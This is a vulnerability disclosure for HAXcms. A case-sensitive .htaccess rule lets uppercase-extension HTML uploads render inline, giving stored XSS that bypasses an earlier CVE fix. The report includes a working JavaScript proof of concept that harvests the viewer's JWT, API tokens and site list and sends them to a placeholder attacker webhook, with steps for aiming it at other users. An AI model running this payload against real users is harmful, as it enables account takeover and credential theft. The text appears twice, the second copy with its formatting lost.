Summary
The saveFile endpoint validates upload extensions case-insensitively and writes the filename to disk verbatim, but the .htaccess rule that forces Content-Disposition: attachment on HTML files is case-sensitive. An HTML file uploaded with an uppercase extension (.HTML, .Html, .HTM) is still served as text/html but the forced-download header never applies, so the browser renders it inline and executes any embedded JavaScript in the HAXcms origin. This bypasses the mitigation shipped for CVE-2026-22704.
Details
The upload path and the force-download rule disagree on extension casing.
Upload validation (HAXCMSFile.php) uses the case-insensitive i flag and accepts any casing:
preg_match('/\.(jpg|jpeg|...|html|md)$/i', $upload['name'])
The filename is written to disk verbatim with no normalization, so xss.HTML lands on the filesystem as xss.HTML.
Force-download rule (.htaccess line 109) uses SetEnvIf, which is case-sensitive by default:
SetEnvIf Request_URI "/files/.*\.html?$" force_html_download=1
Header always set Content-Disposition "attachment" env=force_html_download
This matches .htm and .html but not .HTML, .Html, or .HTM. Apache still serves the file as text/html because its MIME resolution is case-insensitive, so the only control preventing inline rendering (the forced Content-Disposition header) is skipped.
The correct fix is to normalize the extension to lowercase during upload so the .htaccess rule consistently catches anything the PHP validator accepted as HTML. Switching SetEnvIf to SetEnvIfNoCase is a useful secondary defense but does not address the root issue, which is that the server preserves user-controlled casing on disk.
PoC
Save the following as poc.HTML on your local machine. When opened by any authenticated HAXcms user, this payload silently obtains their JWT, discovers their username, retrieves their API tokens, enumerates every site they own, and exfiltrates everything to an attacker-controlled webhook.
<!DOCTYPE html>
<html>
<head><title>HAX Audit — PoC</title></head>
<body>
<h1>Loading...</h1>
<div id="out" style="background:#111;color:#0f0;padding:20px;font-family:monospace;white-space:pre-wrap;font-size:12px;"></div>
<script>
(async () => {
const WEBHOOK = 'https://ATTACKER_WEBHOOK_URL';
const o = document.getElementById('out');
const log = m => { o.textContent += m + '\n'; };
const results = {};
// 1. Obtain a fresh JWT for whoever is viewing this page.
// refreshAccessToken is cookie-authenticated — the visitor's
// session cookies are sent automatically by the browser.
log('[*] Calling refreshAccessToken...');
const r1 = await fetch('../../../system/api/refreshAccessToken', {
method: 'POST', credentials: 'include'
});
const j1 = await r1.json();
if (!j1.jwt) { log('[-] No JWT — visitor is not logged in'); return; }
results.jwt = j1.jwt;
// 2. The JWT contains the visitor's username in its payload.
// The attacker does not need to know who clicks the link.
const payload = JSON.parse(atob(j1.jwt.split('.')[1]));
results.username = payload.user;
log('[+] JWT obtained for user: ' + payload.user);
// 3. Use the discovered username to call their connectionSettings
// endpoint and retrieve their user_token and form_token.
log('[*] Calling connectionSettings for ' + payload.user + '...');
const r2 = await fetch('/' + payload.user + '/system/api/connectionSettings', {
method: 'POST', credentials: 'include'
});
const raw = await r2.text();
const ut = raw.match(/user_token=([^&"]+)/);
if (ut) {
results.user_token = ut[1];
log('[+] user_token: ' + ut[1]);
}
const ft = raw.match(/getFormToken":"([^"]+)"/);
if (ft) {
results.form_token = ft[1];
log('[+] form_token: ' + ft[1]);
}
// 4. Enumerate every site the visitor owns.
log('[*] Calling listSites...');
const r3 = await fetch('/' + payload.user + '/system/api/listSites', {
method: 'POST', credentials: 'include',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ jwt: j1.jwt, user_token: results.user_token })
});
const d3 = await r3.json();
if (d3.data && d3.data.items) {
results.site_count = d3.data.items.length;
results.sites = d3.data.items.map(s => ({
name: s.metadata?.site?.name,
pages: s.metadata?.pageCount
}));
log('[+] ' + results.site_count + ' sites owned by ' + payload.user + ':');
results.sites.forEach(s => log(' ' + s.name + ' (' + s.pages + ' pages)'));
}
// 5. Send everything to the attacker.
log('[*] Exfiltrating...');
navigator.sendBeacon(WEBHOOK, JSON.stringify(results));
log('[+] Sent to webhook.');
document.querySelector('h1').textContent = 'XSS fired as: ' + payload.user;
})();
</script>
</body>
</html>
Replace ATTACKER_WEBHOOK_URL with a URL you control (e.g., a [webhook.site](https://webhook.site) endpoint).
Reproduction steps
-
Log in to a HAXcms deployment (e.g., https://try.fire.x.vmhost.psu.edu/USERNAME).
-
Create or open a site from the dashboard.
-
Upload poc.HTML through the HAX editor. Click the media/add button in the toolbar, select "Upload file," and choose poc.HTML from your machine. The upload succeeds because the PHP validator matches .HTML case-insensitively. Note the file path in the response — it will be /_sites/SITENAME/files/poc.HTML.
- Visit the uploaded file in your browser at
https://TARGET/_sites/SITENAME/files/poc.HTML. The page renders inline (not as a download) and the script executes. You will see terminal-style output showing each step of the exploit chain completing against your own account.
-
Send the link to another authenticated user. When they open it, the same exploit chain fires using their session cookies. They do not need to be on your site or have any relationship to your account.
-
Check your webhook. It receives a JSON payload containing the visitor's JWT, username, user_token, form_token, site count, and the name and page count of every site they own.
Notice I am receiving data for user spc6394 and not jxs7245
Impact
Uploaded HTML files with uppercase extensions render inline and execute arbitrary JavaScript in the HAXcms origin. As demonstrated in the PoC, this leads to full account takeover: the attacker obtains the visitor's JWT, API tokens, and complete site inventory without any action beyond the visitor clicking the link.
Summary
The
saveFileendpoint validates upload extensions case-insensitively and writes the filename to disk verbatim, but the.htaccessrule that forcesContent-Disposition: attachmenton HTML files is case-sensitive. An HTML file uploaded with an uppercase extension (.HTML,.Html,.HTM) is still served astext/htmlbut the forced-download header never applies, so the browser renders it inline and executes any embedded JavaScript in the HAXcms origin. This bypasses the mitigation shipped for CVE-2026-22704.Details
The upload path and the force-download rule disagree on extension casing.
Upload validation (
HAXCMSFile.php) uses the case-insensitiveiflag and accepts any casing:The filename is written to disk verbatim with no normalization, so
xss.HTMLlands on the filesystem asxss.HTML.Force-download rule (
.htaccessline 109) usesSetEnvIf, which is case-sensitive by default:This matches
.htmand.htmlbut not.HTML,.Html, or.HTM. Apache still serves the file astext/htmlbecause its MIME resolution is case-insensitive, so the only control preventing inline rendering (the forcedContent-Dispositionheader) is skipped.The correct fix is to normalize the extension to lowercase during upload so the
.htaccessrule consistently catches anything the PHP validator accepted as HTML. SwitchingSetEnvIftoSetEnvIfNoCaseis a useful secondary defense but does not address the root issue, which is that the server preserves user-controlled casing on disk.PoC
Save the following as
poc.HTMLon your local machine. When opened by any authenticated HAXcms user, this payload silently obtains their JWT, discovers their username, retrieves their API tokens, enumerates every site they own, and exfiltrates everything to an attacker-controlled webhook.Replace
ATTACKER_WEBHOOK_URLwith a URL you control (e.g., a [webhook.site](https://webhook.site) endpoint).Reproduction steps
Log in to a HAXcms deployment (e.g.,
https://try.fire.x.vmhost.psu.edu/USERNAME).Create or open a site from the dashboard.
Upload
poc.HTMLthrough the HAX editor. Click the media/add button in the toolbar, select "Upload file," and choosepoc.HTMLfrom your machine. The upload succeeds because the PHP validator matches.HTMLcase-insensitively. Note the file path in the response — it will be/_sites/SITENAME/files/poc.HTML.https://TARGET/_sites/SITENAME/files/poc.HTML. The page renders inline (not as a download) and the script executes. You will see terminal-style output showing each step of the exploit chain completing against your own account.Send the link to another authenticated user. When they open it, the same exploit chain fires using their session cookies. They do not need to be on your site or have any relationship to your account.
Check your webhook. It receives a JSON payload containing the visitor's JWT, username, user_token, form_token, site count, and the name and page count of every site they own.
Notice I am receiving data for user
spc6394and notjxs7245Impact
Uploaded HTML files with uppercase extensions render inline and execute arbitrary JavaScript in the HAXcms origin. As demonstrated in the PoC, this leads to full account takeover: the attacker obtains the visitor's JWT, API tokens, and complete site inventory without any action beyond the visitor clicking the link.